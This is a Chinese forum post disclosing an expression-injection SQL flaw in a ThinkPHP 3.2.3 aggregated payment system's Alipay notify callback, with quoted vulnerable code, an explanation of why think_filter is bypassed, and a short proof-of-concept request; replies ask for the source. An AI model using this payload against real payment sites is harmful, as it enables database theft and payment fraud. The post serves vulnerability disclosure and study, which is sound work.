聚合支付前台注入

很久没自己发过文章了,要么是找panda代发,要么就是自己懒得发,今天建党100周年就随便找一个自己的东西发一下了。
聚合支付常见总共分两个版本:
1.tp3
2.tp5
目前手里只有tp3的代码,如果有大佬有tp5的话可以发出来学习学习.对于这套代码怎么说呢,总体写的很不错+tp3.2.3自身的安全性其实也不错所有代码本身还是没有什么漏洞的。支付嘛。。。接口api出奇的多。

public function notifyurl()
    {
        $response  = $_POST;
        $sign      = $response['sign'];
        $sign_type = $response['sign_type'];
        $publiKey = getKey21($response["out_trade_no"]); // 密钥
        vendor('Alipay.aop.AopClient');
        vendor('Alipay.aop.SignData');
        vendor('Alipay.aop.request.AlipayTradeWapPayRequest');
        $aop = new \AopClient();
        $aop->alipayrsaPublicKey = $publiKey;
        $result = $aop->rsaCheckV1($response, $publiKey, $sign_type);
        if ($result) {
            if ($response['trade_status'] == 'TRADE_SUCCESS' || $response['trade_status'] == 'TRADE_FINISHED') {
                $this->EditMoney($response['out_trade_no'], '', 0);
                exit("success");
            }
        } else {
            exit('error:check sign Fail!');
        }

这里是聚合支付自带的一个aliwap支付接口,对异步通知使用$_POST这种危险方式

    protected function EditMoney($trans_id, $pay_name = '', $returntype = 1, $transaction_id = '')
    {

        $m_Order    = M("Order");
        $order_info = $m_Order->where(['pay_orderid' => $trans_id])->find(); //获取订单信息
        $userid     = intval($order_info["pay_memberid"] - 10000); // 商户ID
        $time       = time(); //当前

$trans_id可控并可以传入数组所以直接表达式注入。tp3虽然有针对表达式注入的think_filter

function think_filter(&$value){
	// TODO 其他安全过滤

	// 过滤查询特殊字符
    if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN|BIND)$/i',$value)){
        $value .= ' ';
    }
}

但这种防护只应用在了tp自带的I函数上面所以这里因为$_POST这种方式导致了注入。

poc:
/Pay_Aliwap_notifyurl.html

out_trade_no[0]=exp&out_trade_no[1]=1//UNION//SELECT

6 个赞

续爷牛逼。多久把90sec的0day公布出来?

哪里有源码么?没找到

已经发出来了

大佬源码在哪里啊 我也想复现学习学习